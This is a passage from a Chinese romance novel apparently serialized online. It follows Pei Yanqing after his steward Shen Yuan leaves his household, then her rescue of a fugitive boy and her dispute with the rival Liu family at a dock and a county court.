裴晏清翻完最后一本账册,合上封面,将厚厚一摞推向桌案另一侧。他靠回椅背,手指搭在扶手上,目光从一众管事面上扫过。
“今日就到这儿,散了吧。”
管事们如蒙大赦,纷纷起身告退。脚步声杂沓,衣料窸窣,片刻功夫,厅堂便空了下来。
裴晏清独坐堂中,晨光落在他肩上,照亮衣领处一枚暗纹扣袢。他垂眸看着面前那摞账册,淡蓝色封皮在日光下泛着柔和光泽,边角毛边纤毫毕现。
他抬手揉了揉眉心,指腹按压在穴位上,力道不轻不重。窗外雀鸟扑棱翅膀从枝头飞起,抖落几片残雪,碎雪从空中飘下,落在窗台上,转瞬即化。
裴晏清起身出去,脚步不疾不徐。穿过回廊时,一阵风穿堂而过,吹起袍角,带来早春寒意。
廊下灯笼还没撤,大红绢纱在风中轻轻晃动,流苏穗子相互碰撞,发出细微沙沙声。
裴晏清一路走过回廊,绕过影壁,脚步不由自主往沈鸢院子方向去。
院门半掩,铁锁挂在门环上,他推开门,门轴转动发出吱呀声。
院子比他想象中更萧瑟。
青砖缝隙里钻出几株野草,叶片枯黄,蔫蔫贴在地面。墙角那丛迎春花还没开,枝条光秃秃,在风中微微颤抖。
碧桃正蹲在院中,手中拿着一块湿布,擦拭地上几块碎片。听见门响,她抬头,见是裴晏清,愣了一瞬,连忙起身行礼。
“二爷。”
裴晏清目光落在地上那些碎片上。漆黑碎片散落在青砖缝隙间,边缘锋利,在日光下泛着幽暗光泽。
“这是什么?”
碧桃攥紧手中湿布,声音低低:“是……姑娘用的一方砚台。”
裴晏清并未认出,那是他去年随手赏给沈鸢的砚台。说是“赏”,其实不过因着太多,他随意处置而已。
他抬脚往屋里走。门边上落了一层薄灰,鞋底踩上去,留下一串清晰脚印。
屋内光线昏暗,窗棂上糊的纸透进灰白天光,墙角搁着炭盆,盆中灰烬堆积。
裴晏清目光在屋内缓缓移动,落在一只锦盒上。
红木质地,雕如意纹样,搁在桌案正中,盒盖合拢,铜扣搭下。
他走过去,伸手拿起锦盒。入手沉甸甸,红木表面光滑冰凉,如意纹样凸起处被磨得发亮,像是被人反复触摸过。
他打开铜扣,掀起盒盖。
一件男子里衣躺在其中。
月白色素绫面料,叠放整齐,铺满整个锦盒。他拎起一角,里衣舒展开来,领口袖口绣着忍冬纹样,针脚细密均匀。
衣料柔软,从他指间滑过,带着淡淡皂角气味,还有一丝若有若无的女儿香。
窗缝漏进一缕风,吹动里衣下摆,衣料轻轻晃动,忍冬纹样在光影中明明灭灭。
碧桃不知何时跟到了门口,声音低低地说:“想来这是姑娘给二爷备的生辰礼,绣了好几月,每夜都绣到三更。”
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>裴晏清将里衣叠好放回锦盒,合上盖子。
他走出屋门,叹息一声道:“她何时走的,连你也不带走?”
碧桃声音发颤,“姑娘不让奴婢跟着,说奴婢是裴府中人。”
碧桃发现似乎说错了话,立即跪下来。
见状,裴晏清没再说话,只是胸中像压了块石头。他抬脚往院外走,走到院门口,脚步顿住,回头看了一眼。
院中那株老槐树枝丫光秃,积雪已化尽,露出深褐色树皮,树皮上沟壑纵横。
回廊曲折,他脚步比来时快,靴底踩在青砖上,发出沉闷声响。穿过回廊,绕过影壁,回到松竹居。
刚踏进院门,一道黑影从暗处掠出,无声无息落在他面前。一身黑衣,唯独一双眼睛,目光锐利如鹰隼。
暗卫单膝跪地,抱拳行礼。
“二爷。”
裴晏清脚步未停,往书房方向走。暗卫起身跟在他身后,脚步轻得几乎听不见,像一道影子。
书房门敞开,裴晏清走进去,在书案后坐下。暗卫站在门前,目光扫过四周,才迈进门槛,停在书案前三步远处。
“按二爷吩咐,一切安排妥当。”
暗卫垂首,又行一礼,转身退出书房。
书房重归于静。
那日,沈鸢前来递辞呈,面庞苍白,眼眶微红,但脊背挺得笔直。
她的冲动,裴晏清没有处罚她,可也想着冷她几日,不想她竟然有胆子离开。
那日沈鸢来递辞呈,站了很久,久到他以为她会哭、会闹、会质问他为什么。可她没有。她只是将信封轻轻放在桌案边角。
他始终没有抬头。
裴晏清睁开眼,目光落在那只信封上。
月白色素纸,依旧安静躺在书案边角,搁了三日,无人触碰。他伸手拿过来,信封表面落了一层薄灰,指腹擦过,留下清晰痕迹。
她甚至没有等他允许,便收拾行李,离开了。
他若是不允呢?
裴晏清捏着信纸,指节泛白。
匪窝那夜,裴晏清从未见过那样的沈鸢。娇柔脆弱,不再是平日处理账本时那副冷静犀利的模样。
她昏迷中攥住他衣襟不肯松手,软语呢喃,滚烫的额头抵在他颈窝,气息拂过他喉结。
她喊的不是“二爷”,是他的名“裴晏清”。
他僵坐着。黑暗中她的睫毛扫过他下颌,像羽毛轻轻划过心尖,留下久久不散的痒。
那是他第一次听见她喊他的名字。
可醒来后,她一字不提。那夜的依偎,在她那里仿佛从未发生。她是不在意,还是厌恶?
裴晏清闭上眼,原来她早就存了去意。
他将信纸折好,塞回信封,搁回原处。位置分毫不差,像是从未动过。
窗外日光渐渐西斜,光影从桌面移到地面,又从地面爬上墙壁,缓慢移动。
日光一寸一寸沉下去,暮色从窗棂缝隙渗进来,将室内物什的轮廓染成模糊灰影。
远处天际残留一抹暗红,像伤口结痂,渐渐被夜色吞没。
身后桌上,那封辞呈安静躺在书案边角,月白色信封在暮色中泛着微弱白光,像一截将熄的烛火,明明灭灭,忽隐忽现。
夜风从窗缝漏进来,吹动信纸一角,纸张晃动,发出细微沙沙声。
5. 005
马车南行两日,沿途村镇渐稀,官道两旁田地荒芜,变成大片杂草与低矮灌木。
沈鸢靠在车厢角落,闭目养神,车身摇晃,令人昏沉。
身子不适时好时坏,晨起那阵恶心过去后,胃里空落落,像被人掏空。她摸出一块干粮,掰下一小块塞进嘴里,干硬饼渣在口中慢慢嚼碎,又从行囊中摸出水囊,抿一小口。
水已凉透,入口带着皮革气味,滑过喉咙时激得人打个寒颤。
日头渐高,光线从车帘缝隙漏进来,在车厢地板上画出一条细长金线。
王叔回头朝车厢喊一声:“姑娘,前方有个镇子,要不要歇歇脚?马也跑了大半日,该喂喂料了。”
沈鸢掀开车帘,探身望去。前方果然有个小镇,沿官道两侧稀稀落落几十户人家。
“歇歇吧。”沈鸢应一声。
马车驶入镇子,在茶棚旁边停下。王叔跳下车辕,牵着马去一旁水槽饮水,又从车上搬下草料袋,抖开倒在地上。
马匹低头啃食草料,鼻息喷出白雾,偶尔打一个响鼻。
沈鸢下了车,走到茶棚下。茶棚简陋,几根竹竿撑起一面布顶,摆着三四张木桌,条凳磨得发亮。
棚角支一口大锅,锅里热水翻滚,白雾腾腾,混着茶叶香气飘散开来。
棚主是个五十余岁老妇,见有客来,忙迎上来。
“姑娘坐,有热茶,还有馄饨,现包现煮。”
“两碗馄饨,一壶热茶。”沈鸢寻了处干净角落坐下。
老妇应一声,转身去忙活。片刻功夫,一碗馄饨端上来。
沈鸢端起碗,吹开热气,喝一口汤,滚烫汤汁滑过喉咙,暖意从胃里慢慢散开,驱散寒意。
腹中暖意融融,那阵恶心竟也压下去几分。
沈鸢搁下碗,正低头喝茶,街那头突然传来一阵喧哗。
“人呢?给老子找!那小子跑不远!”
“这边这边,我方才看见往这边跑了!”
沈鸢抬头,循声望去。街口涌出四五个壮汉,为首一人虎背熊腰,光着膀子,胸口一撮黑毛,腰间别一把弯刀,面上横肉堆叠,一双三角眼凶光毕露。
身后几人也是膀大腰圆,手持木棍,骂骂咧咧,沿街铺子挨个翻找。
见状,路人纷纷避让。
沈鸢收回目光,低头喝茶,手指却微微收紧。那些人显然在追什么人,这般阵仗,不像寻常寻仇。
茶棚老妇凑过来,压低声音:“姑娘,那些人不好惹,是镇上泼皮,专干些下作勾当。您喝完茶赶紧上路,别惹麻烦。”
沈鸢点头,道声感谢,从袖中摸出几文钱搁在桌上,起身往马车走。
刚走到车旁,车帘突然动了一下。
沈鸢脚步顿住,目光落在那帘布上。她分明看见帘布摇晃,又飞快落下。
沈鸢不动声色,伸手掀开车帘。
车厢角落里,蜷缩着一个少年。
约莫十七八岁,面色蜡黄,颧骨高耸,嘴唇干裂起皮,渗出血丝。
他头发散乱,沾着草屑泥土,脸上青一块紫一块,左眼眶乌青,眼角还有干涸血痕。
听见动静,少年猛地抬头,眼中满是惊惧。
他看见沈鸢,愣了一瞬,嘴唇翕动,声音沙哑:“别……别赶我走……求求你……让我躲一躲……”
声音越来越低,最后几个字几乎听不见。
少年蜷缩得更紧,双臂抱住膝盖,整个人缩成一团,浑身发抖。
沈鸢目光在他面上停留片刻,她放下车帘,转身走向王叔。
“王叔,马喂好了吗?”
“快了快了,再让它喝口水。”王叔拍拍马脖,回头看她一眼,“姑娘脸色还是不太好,可是累了?要不歇息一晚再走?”
“不必,喂好马便上路。”沈鸢声音平稳,面色如常,目光却往街口极快扫了一眼。
那几个壮汉还在挨家挨户翻找,已经搜到茶棚隔壁布庄,布庄掌柜赔着笑脸,连连摆手。
王叔应一声,将马牵回车辕,套好缰绳:“姑娘上车吧,咱们赶路。”
沈鸢掀开车帘,弯腰上车。车厢内少年还蜷缩在角落,听见动静,身子一僵,抬头见是她,又放松下来。
沈鸢没有说话,在他对面坐下,从行囊中摸出水囊递过去。
少年盯着水囊看了片刻,伸手接过,拔开塞子灌了一大口,水从嘴角溢出,顺着下巴淌下,冲开脸上泥污,露出底下苍白皮肤。
他喝得太急,呛住剧烈咳嗽,弓着背,不敢放肆咳嗽,搞得浑身发抖,水囊差点脱手。
沈鸢伸手按住水囊,等他不咳了,才松开。
“喝慢些。”
少年点点头,用手背擦去嘴角水渍,低头看着手中水囊,声音闷闷:“谢谢阿姐。”
沈鸢没有应声,靠回车壁,闭上眼。
马车启动,街边喧哗渐渐远去,那几个壮汉叫骂声也被车轮声盖过,越来越模糊。
沈鸢睁开眼,掀开车帘一角往后看。镇子远去,她放下车帘,舒出一口气。
少年似乎也察觉危险远去,紧绷身体慢慢放松,靠在车壁上,闭上眼。
马车行出约莫半个时辰,官道两旁树木渐密,遮住天光,路面变得昏暗。
车轮碾过碎石,颠簸得厉害,沈鸢被颠得胃中翻涌,按住胃部,深吸几口气压下恶心。
王叔突然勒住缰绳,马车戛然而止。
“姑娘,有人拦路。”声音发紧。
沈鸢心中一沉,掀开车帘。
前方路口站着几个人,为首正是那虎背熊腰壮汉,腰间弯刀在日光下泛着冷光。
他双手抱胸,挡在路中央,身后几人手持棍,一字排开,将官道堵得严严实实。
其中一人指着马车喊了一嗓子:“大哥,就是这辆车!有人看见那小子钻进去!”
壮汉咧嘴一笑,露出一排黄牙,朝马车走来。他步子大,踩在碎石路上,每一步都带着狠劲,地面灰尘被踏得飞扬。
王叔吓得脸色发白,跳下车辕,连连拱手:“各位爷,各位爷,有话好说,小老儿就是个赶车的,不知道各位爷找什么人……”
“少废话!”壮汉一把推开书,王叔踉跄后退几步,险些摔倒,扶住车辕才勉强站稳。
壮汉走到车旁,伸手想要去掀车帘。
一只手从车帘内侧掀开,沈鸢探出半个身子,面色平静,目光落在壮汉面上。
“这位大哥,拦我马车,有何贵干?”
壮汉愣了一瞬,上下打量沈鸢一眼,见她是个漂亮女子,孤身一人,胆子便大了起来,嘿嘿一笑:“小娘子,别装糊涂。有个小崽子偷了我们东西,钻进你车里,你把他交出来,咱们各走各路,谁也不耽误谁。”
“车里只我一人。”沈鸢声音不大,字字清晰。
壮汉笑容一收,三角眼眯起,目光凶狠:“小娘子,别给
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脸不要脸。老子亲眼看见那小子钻进你车,你再护着,连你一块收拾。”
身后几个壮汉围上来,木棍敲在掌心,发出啪啪声响,灰尘从棍身抖落,在日光中浮动。
王叔急得直搓手,凑到沈鸢跟前,压低声音:“姑娘,要不……就让他们看看,多一事不如少一事。”
沈鸢没有应王叔,目光与壮汉对视,寸步不让。
车厢内传来细微声响,像是衣料摩擦。少年不知何时挪到车帘旁……
沈鸢没有回头,手往后一伸,按在少年肩上,掌心用力,将他推回车厢。
少年想说什么,沈鸢手指收紧,捏了捏他肩膀,像在安抚一只受惊小兽。少年便不再动,呼吸却急促起来,沈鸢能感觉到他肩膀在抖。
壮汉不耐烦,伸手去抓沈鸢手臂:“敬酒不吃吃罚酒,老子亲自搜!”
手指刚触到沈鸢袖口,一阵破风声突然响起。
一粒石子从林中飞出,正中壮汉手背。力道极大,壮汉惨叫一声,缩回手,手背瞬间肿起,皮开肉绽,鲜血渗出,顺手指滴落。
“谁?!”壮汉捂着手,环顾四周,面色铁青。
林中走出三人。
为首一人身形修长,穿一件竹青色长袍,腰悬长剑,面容清俊,眉目间带着几分慵懒。
他步履从容,踩在落叶上,发出细微沙沙声,身后两人稍年轻些,手持长剑,目光锐利。
三人走到马车旁,为首男子看了沈鸢一眼,而后转向壮汉,语气淡淡:“大路朝天,各走一边。人家不愿让你搜,你便硬搜,这不合规矩。”
壮汉捂着流血手背,上下打量男子一眼,见他衣袍料子不差,腰间长剑剑鞘镶银,不像寻常百姓,心中有些发怵,嘴上却不饶人:“你算什么东西?老子的事你也敢管?”
男子也不恼,唇角微微弯起一个弧度,抬手按住腰间长剑剑柄,拇指轻轻一推,剑刃出鞘三寸,寒光一闪,映出壮汉惊惧面庞。
“我算什么东西不重要。”男子声音依旧淡淡,“重要的是我这把剑认不认得你。”
壮汉后退一步,脸色微变。身后几人也面露怯意,有人悄悄往后退了半步。
僵持片刻,壮汉啐了一口唾沫,狠狠瞪沈鸢一眼:“算你走运!”
一挥手,带着人转身离去。脚步声渐远,很快消失在树林深处。
沈鸢松开按在少年肩上手,手心已沁出细密汗珠。她深吸一口气,转向那三人,福了一礼。
“多谢三位壮士出手相救,敢问尊姓大名?今日之恩,他日必当报答。”
为首男子还礼,目光从她面上扫过,语气客气:“姑娘不必多礼。路过此地,见不平之事,顺手而为,不值一提。”
沈鸢看着为首男子,像是在哪里见过,又想不起来。她细细回想这些年来,裴府往来客商、铺面掌柜、田庄管事,没有一个能与眼前人对上。
或许只是长相寻常,与某个路人相似罢了。
男子似乎察觉到她目光,抬眼看她,唇角微扬,露出一个淡淡笑容。
沈鸢收回目光,不再多想。她拿出些银钱感谢,可三人婉拒后便离开了。
看着三人身影消失后,她掀开车帘,看了一眼车厢内少年。少年还蜷缩在角落,他抬眼看沈鸢,眸中满是感激。
“没事了。”沈鸢道。
少年点点头,低声向沈鸢道谢,即使全身狼狈不堪,沈鸢也看得出他出生不凡。
6. 006
“沈鸢,你以为那是深情。在我看来,不过是纠缠。”
“我不需要你的心意。从前不需要,往后也不需要。”
沈鸢踉跄后退一步,后背撞上冰冷廊柱。那疼痛尖锐而真实,却不及心口万分之一。
她盯着面前男子,眉眼间是她熟悉温润——剑眉斜飞入鬓,目若朗星,鼻梁挺直,唇边淡淡笑意。
想从他脸上找出一丝不忍,一丝犹豫,可只有厌恶。
*
“鸢儿!出事了!”
沈鸢猛然睁眼,入眼是她熟悉的青城老家。她压下心中酸涩,忙起身拉开屋门。
屋外是沈鸢婶娘王氏,“鸢儿,川儿今日到码头收货,柳家的人突然动了手,川儿伤得不轻……”
沈鸢不再多问,取了外衫披上,大步往外走,王氏慌忙跟上。
她回到青城,老父亲近半年不见女儿,很是思念。但在得知沈鸢竟然辞去裴府差事,沈泊明一气之下将沈鸢“赶出家门”。
如今沈鸢住在叔父家中,他家有个小布店,沈鸢花了半日替叔父家理清账册,后半日改了方案,布庄生意次日便大有好转。
柳家与沈家同在青城经营布匹生意,两家铺面隔街相望,积怨已久。
柳家势大,见沈家布店生意好不过两日,便起了这种歪心思。
沈鸢突然回身,附身王氏耳旁低语几句。
街上行人渐多,车马辘辘,一派寻常日子的景象。
马车拐入另一条街,速度慢下来。前方人声嘈杂,隐约能听见争执声。
沈鸢不等车停稳便跳了下去。
码头上聚集了不少人,看热闹的百姓围成半圈,议论纷纷。
沈鸢拨开人群挤进去,一眼看见沈川倒在地上,半边脸都是血,左眼眶青紫肿胀,嘴角裂开一道口子,血顺着下颌滴落在衣襟上,洇出一片暗红。
他想起身,被一个身材魁梧的护院一脚踹在肩头,又跌了回去。
“住手!”
沈鸢厉声喝道,快步走到沈川身前,将他护在身后。
那护院还要上前,被沈鸢抬眼一瞪,竟愣了一瞬。
“光天化日之下行凶伤人,柳家好大的威风。”沈鸢声音不大,字字清晰,围观众人听得分明。
人群里走出一个锦衣少年,约莫十八九岁年纪,面容白净,嘴角噙着一抹倨傲笑意。
柳家二公子柳文彬,手里摇着一把折扇,摇得不紧不慢。
“哦哟!沈大小姐呀!”柳文彬慢悠悠开口,“不是我有意为难,是沈川不识好歹。这批货手续不全,小吏要查,他倒好,冲上来就要动手。我柳家不过是仗义行事,反倒怪柳家?”
“手续不全?”沈鸢冷声道,“货单、税·票、通关文书,一样不少,全是按规矩办的。码头小吏为何故意刁难,当沈家不知?”
柳文彬笑容不变,折扇一合,在掌心敲了敲:“沈大小姐说话要有凭据。没有证据,那就是污蔑官家。”
他身后几个护院跟着哄笑。
沈鸢不去看他,转身查看沈川伤势。他半张脸肿得老高,嘴角的血已经凝固,结成暗紫色的血痂。
她伸手去扶,沈川咬着牙站起来,右腿一软,险些又跪下去,膝盖处衣料磨破,露出渗血的皮肉。
“阿姐……”沈川哑着嗓子唤了一声,带着委屈与不甘。
沈鸢喉头一紧,面上却不动声色,只将他交给小厮。
柳文彬在一旁看着,嘴角笑意更深。
“沈大小姐,我劝你们识相些。”他慢条斯理道,“这批货呢,该查还是要查。你们沈家在青城做买卖也不是一天两天了,规矩应该懂。若是实在等不起,也不是没有别的法子——”
他故意拖长尾音,折扇一展,扇面上画着一幅山水,墨色浓淡相宜。
“我家老爷子说了,你叔父那间铺面位置不错,若是愿意盘出来,价钱好商量。这批货嘛,自然也就顺顺当当进铺子了。”
沈鸢转过头,目光落在他脸上。
那目光很静,没有愤怒,没有慌张,只有一种沉到底的冷。
“烦请柳二公子回去转告令尊,这批货自然要进铺子,只是沈家的铺面不卖。”
柳文彬笑容一僵。
“沈大小姐好大的口气。”他收起折扇,脸色沉下来,“你沈家什么处境,你自己心里没数?老爷子给你们留一条退路,是看在多年同行份上。给脸不要脸,那就别怪我柳家不客气。”
他话音落下,身后十几个护院齐齐上前一步。
围观的人群发出一阵低呼,有人往后退了几步,生怕被殃及。
沈鸢站在原地未动。
她身后只有两个小厮,一个车夫,一个受了伤的弟弟。
柳文彬见她不动,以为她怕了,得意之色重新浮上面庞。
“沈大小姐是聪明人,应当知道轻重。”他走上前两步,压低声音,“实话告诉你,我柳家在青城扎根三代,不是你一个破落户能撼动的。你沈家如今无权无势,拿什么和我斗?”
他说到这里,忽然想起什么似的,脸上露出一种近乎戏谑的神情。
“哦,沈姑娘常年身在扬州,如今怎的回了青城这小地方。”
他往后退开半步,提高声音,像是要让在场所有人都听见。
“难不成是高枝没攀成,跌下来,觉得没脸回来青城躲着,怕见人。”
“你住口,你这无耻小人。”沈川见柳文彬侮辱沈鸢,立即为她正名。
沈鸢拦住沈川,面上无半分波动,微扬下颌,目光平静地与柳文彬对视。
“柳二公子说完了?”
柳文彬一愣。
“说完了,便该我说了。”沈鸢向前走了一步,“第一,这批货的文书齐全,我沈家占理。你柳家买通小吏也好,伪造文书也罢,纸包不住火。第二,我弟弟身上的伤,在场所有人都看见了。光天化日之下行凶伤人,衙门不会不管。”
“衙门?”柳文彬嗤笑一声,“你以为衙门会替你沈家出头?”
沈鸢没有接话,远处传来一阵脚步声,整齐而急促。
人群自动让开一条道,一个身着皂袍的年轻男子带着四五个捕快走了进来。
那人面容端正,眉目间带着几分英气,腰间佩刀,步履沉稳。
青城府衙捕快岑明。
柳文彬脸上的笑意凝固了一瞬。
岑明走到近前,目光扫过在场众人,在沈川身上的伤处略作停顿,又看向柳文彬身后那十几个虎视眈眈的护院。
“接到报案,说码头有人聚众斗殴,伤人见血。”岑明声音不高,带着公门中人特有的沉稳,“柳二公子,这些人是你柳家的?”
柳文彬脸色变了几变,勉强扯出一个笑容:“岑捕头误会了,不过是生意上的一点小纠纷,已经说开了,用不着惊动衙门。”
“小纠纷?”岑明看向沈川,“这位公子身上的伤,也是小纠纷?”
柳文彬笑容挂不住了,站在原地,折扇收在掌心,攥得指节泛白。他看看岑明,又看看沈鸢,终于明白过来——沈鸢方
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才此般啰嗦,是在故意拖延时间。
“沈大小姐好手段。”他从牙缝里挤出几个字。
沈鸢没有理会他,只弯腰查看沈川伤况。
岑明带来的捕快将柳家护院与沈家的人隔开,码头上剑拔弩张的气氛稍稍缓和。
围观的百姓见官府介入,议论声渐起,有人对着柳文彬指指点点。
柳文彬面色铁青,折扇在掌心敲得啪啪作响。他盯着沈鸢的背影,目光阴沉,像是要将她生吞活剥。
“沈鸢,你别以为找了个捕快来就能如何。”他压低声音,一字一顿,“今日之事不算完。你沈家在青城一日,我柳家便压你一日。我倒要看看,你能撑到什么时候。”
沈鸢转过身,正要离开……
“文彬,莫再胡闹。”
一道温婉女声自人群外传来,声音不大,从容中带着威压。
众人循声望去,一女子站在不远处,身量纤细,着一件月白色褙子,外罩浅青色斗篷,通身上下素净雅致。
柳文彬看清来人,脸色骤变,方才的倨傲与狠厉一扫而空,换上一副近乎讨好的神情。
“堂姐——”
柳梦玉没有看他。
她径直走到沈鸢面前,微微颔首,算是见礼。动作不疾不徐,举手投足间自有一派从容气度。
“沈姑娘。”她开口,声音温软,却字字清晰,“族中兄弟不懂事,给沈家添麻烦了。今日之事,我代柳家向沈姑娘赔个不是。”
沈鸢看着她,没有接话,她在裴晏清身边多年,自是知道柳梦玉。
她出身簪缨世家,与裴家可说门当户对,沈鸢心动过,自是明白柳梦玉每每望向裴晏清的目光。
柳梦玉也不等她回应,转头看向柳文彬,目光平静,却让那少年不自觉缩了缩脖子。
“回去。”
只一个字,柳文彬竟不敢多言,领着那些护院灰溜溜退到一旁。
码头上一时安静下来。
柳梦玉又转向沈鸢,唇边浮起一丝淡淡笑意:“沈姑娘放心,这批货的事,我会让人去查。若是有人从中作梗,定会给沈家一个交代。”
沈鸢缓缓开口,声音很轻:“多谢柳姑娘好意。不过,还是得去一趟官府,方才柳二公子曾言今日之事没完。总不能以后出现类似事情,总劳烦柳姑娘。”
两人对视一眼,柳梦玉目光坦然,笑着应下。
沈鸢收回目光,扶住沈川往马车方向走。岑明吩咐两个捕快看住货物,码头上乱糟糟的人群渐渐散去。
她将沈川扶上车,突然一阵昏厥,余光瞥见码头对岸站着一道身影。
那人一身玄色长衫,立于江边柳树下,秋风吹动衣袂,身形清瘦挺拔。隔得太远,看不清面容,只能瞧见一个模糊轮廓。
沈鸢心头一跳,那身影渐渐与近日梦中之人重合。
她定在原地,手指攥紧了车辕。
晨光穿过柳枝缝隙落在他脸上,剑眉斜飞入鬓,目若朗星,鼻梁挺直,唇边没有笑意,只余一片淡漠。
裴晏清,他怎会在这?
沈鸢浑身血液仿佛在这一瞬间凝固。
码头上嘈杂的人声、江风的呼啸、沈川在身后唤她的声音,一切都在远去,只有那立在柳树下的身影,清晰得刺目。
沈鸢站在原地,指尖深深嵌入车辕,指节泛白。
“阿姐……”
直到沈川唤她,沈鸢才回神,松开紧握手指,上了车。
马车缓缓驶动,车轮碾过青石板,发出沉闷声响。
7. 007
马车在府衙前停下时,日头已升得老高。
沈川腿上伤得不轻,由两个伙计搀着,一瘸一拐跟在后面。
穿过影壁,青砖甬道尽头便是大堂,堂前已经站了不少人。
柳文彬换了身干净衣裳,几个护院垂手而立,面上不见半分愧疚。
沈家这边寥寥几人,王氏走近沈鸢,压低声音:“鸢儿,你叔父那边还没消息。”
沈鸢微微颔首,目光扫过大堂。
正面是公案,朱红案桌后头悬着一块匾额,“明镜高悬”四个金字,笔画刚劲,却因年头久了,金粉剥落大半,露出底下灰暗底色。
沈鸢将沈川安置在一旁椅上,转身站定,拢了拢袖口。
不多时,后堂传来脚步声。
县令孙明从侧门走出,身着七品官服,体态微胖,颌下蓄着短须。他走到公案后落座,目光扫过堂下众人,端起茶盏抿了一口,才慢吞吞拿起惊堂木。
“啪——”
一声脆响在空旷大堂里回荡,震得匾额上灰尘簌簌落下几缕,在阳光中缓缓飘浮。
“堂下何人,因何事争执?”
孙明声音不紧不慢,带着官场中人特有的圆滑与敷衍。
柳文彬抢先开口:“回禀大人,沈家在码头闹事,动手打人,小人不得已才让家中护院自卫。请大人明鉴。”
沈川霍然起身,牵动腿上伤口,疼得倒吸一口凉气,却还是咬着牙开口:“你胡说!分明是你柳家扣我沈家货物在先,护院动手在后——”
“肃静。”孙明远抬手打断,目光转向沈鸢,“沈家何人主事?”
沈鸢上前一步,躬身行礼:“民女沈鸢,叔父今日出城未归,弟沈川年幼,由民女代为陈情。”
孙明上下打量她一眼,倒没多说什么,只点了点头:“讲。”
沈鸢将事情来龙去脉一一陈述——柳家买通码头小吏扣押货物、柳文彬带人围堵、护院动手伤人、沈川伤势几何。
她话语条理分明,每说一事便从袖中取出相应文书,双手呈上。
差役接过,转呈案前。
孙明翻看文书,眉头微皱。
柳文彬见状,忙道:“大人,沈家这些文书都是旧年的,做不得数。这批货确实手续不全,码头小吏依规查验,合情合理。沈家不依不饶,先行动手,小人冤枉。”
“你——”沈川气得脸涨红,牵动嘴角伤口,血珠又渗出来。
沈鸢按住弟弟,不让他再说。
大堂里僵持不下,孙明翻来覆去看着那几份文书,迟迟没有开口。他端起茶盏又抿了一口,茶汤已经凉了,他皱了皱眉,放下茶盏。
就在此时,侧门处传来脚步声。
沈鸢下意识偏头看去。
柳梦玉步履从容,她侧跟着一人,身形清瘦挺拔,一席玄色长衫,腰间系着白玉带钩,却自有一种沉静气度,让堂中所有人都不自觉噤了声。
看清来人,沈鸢呼吸一滞。
晨间在码头远远瞥见,还能安慰自己或许是看错了。此刻人活生生站在三步之外,再无可自欺的余地。
她面色白了几分,指尖不自觉蜷缩,掐进掌心,那点疼痛尖锐而清晰,勉强压下翻涌情绪。
裴晏清目光扫过大堂,自沈鸢脸上掠过。
那一眼似不经意间拂过,没有停留,没有波动。
柳梦玉走到堂中,向孙明盈盈一拜:“民女柳梦玉,见过大人。”
孙明原本半倚,看清那道身影,整个人忽然坐直。他目光在裴晏清身上停了一瞬,待辩清来人身份,眼中闪过一丝惊诧,随即站起身来,脸上堆起笑意。
“裴二爷大驾光临,下官有失远迎。”
他从案后绕出来,拱手作揖,姿态放得极低。两旁皂隶面面相觑,也忙不迭跟着行礼。
裴晏清微微颔首,算是回礼,声音清淡:“孙大人不必多礼,在下只是陪柳姑娘走一趟,旁听而已。大人照常审理,不必顾及在下。”
他说着,目光在堂中扫了一圈。
孙明立刻会意,连声吩咐差役搬椅设座。不多时,一把黄花梨官帽椅摆在堂侧,位置不偏不倚,既在堂中又高出半阶,恰能看清堂上一切。
差役又端来茶案,摆上茶盏,盏中茶汤碧绿,热气袅袅。
裴晏清落座,端起茶盏,用盏盖拂了拂茶沫,动作不急不缓。他抬眸看向孙明远,语气随意:“大人请继续。”
自始至终,他再未看旁处一眼。
沈鸢站在原地,她觉得自己像站在一处极空旷地方,避无可避。
柳梦玉站在堂中,与沈鸢隔了不过数尺距离。她看了沈鸢一眼,很快便移开。
孙明回到案后,重新落座,方才那副敷衍态度收敛了大半,腰背挺得笔直,连说话声音都洪亮几分。
“方才说到何处了?继续。”
柳文彬见裴晏清在场,精神一振,腰杆挺得更直,声音也提高了几分:“大人,沈家那批货手续不全,码头查验是依规行事。沈家不但不配合,还闹事。小人护院不过是自卫,伤人也非小人本意。”
他说得理直气壮,仿佛被打的人是柳家而非沈家。
沈鸢正要开口,堂侧传来一道低沉声音。
“手续不全?”
裴晏清放下茶盏,声音不高,却让堂中所有人都听得清楚。
他看向柳文彬,目光平静:“柳二公子说沈家货单手续不全,不知是哪一桩手续不全?是税·票有误,还是通关文书不合规制?抑或是货物品类与报单不符?”
柳文彬一愣,显然没料到裴晏清会开口,而且问得这样细。
他张了张嘴,支吾道:“这个……码头小吏说是需扣下细查,具体哪一桩,小人也不太清楚……”
“不清楚?”裴晏清语气仍旧淡淡的,“沈家手续不全,码头率先动手,闹到公堂上,又没有丝毫证据?”
柳文彬脸色微变,求助般看向柳梦玉。柳梦玉垂着眼,面上没什么表情,只静静站在那里,并不看他。
裴晏清不再追问,端起茶盏又抿了一口。他方才那几句话,字字问在要害,表面助柳家,实则将柳家无理取闹的行径翻到了明面上——手续何处不全都说不清,扣押货物便是师出无名。
沈鸢听得分明,心头却没有快意。那声音清清淡淡,落在她耳中,像秋雨打在枯叶上,凉透了。
孙明轻咳一声,转向沈鸢:“沈家货物文书可齐全?”
沈鸢敛下心神,上前一步:“回大人,货单、税·票、通关文书一应俱全,方才已呈给大人过目。民女还有码头小吏亲笔所书的放行凭据,日期印章具在,足以证明这批货早已通过查验。”
她从袖中取出一张纸,双手呈上。
差役接过,转呈案前。
孙明展开细看,眉头越皱越紧。
柳文彬急了,脱口道:“大人,那小吏不过是收了沈家好处,才——”
“柳二公子。”裴晏清又开口了。
这一回他声音比方才低了些,却更冷。
“方才你说不清楚手续何处不全,如今又说小吏收了沈家好处,那小吏又扣押沈家货物,岂不是翻脸不认人。既然如
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此,小吏的话真假难辨,柳公子可不要被小人蒙住双眼。”
柳文彬语塞。
“柳二公子,拿出凭据,孙大人也好交代。”裴晏清顿了顿,目光落在他脸上。
孙明连连点头:“裴二爷说得是,柳文彬,你有证据便呈上来,没有证据,便不要胡言乱语。”
柳文彬脸色青一阵白一阵,额头沁出一层细汗。他攥着折扇,指节捏得泛白,却半个字都吐不出来。
沈鸢静静站在那儿,裴晏清每一句话她心中清楚,他一向公允,定不是偏袒沈家,仅此而已。
孙明远拿起惊堂木,正要落下……
“大人。”柳梦玉忽然开口。
她走到堂中,向孙明远福了一福,声音温婉:“今日之事,确是我柳家行事不妥。文彬年轻气盛,才会与沈家起冲突。货物一事,是码头那边出了纰漏,与沈家无关。民女愿代柳家向沈家赔罪,货物即日放行,沈公子医药费用也由柳家一力承担。”
她说完,转向沈鸢,深深行了一礼。
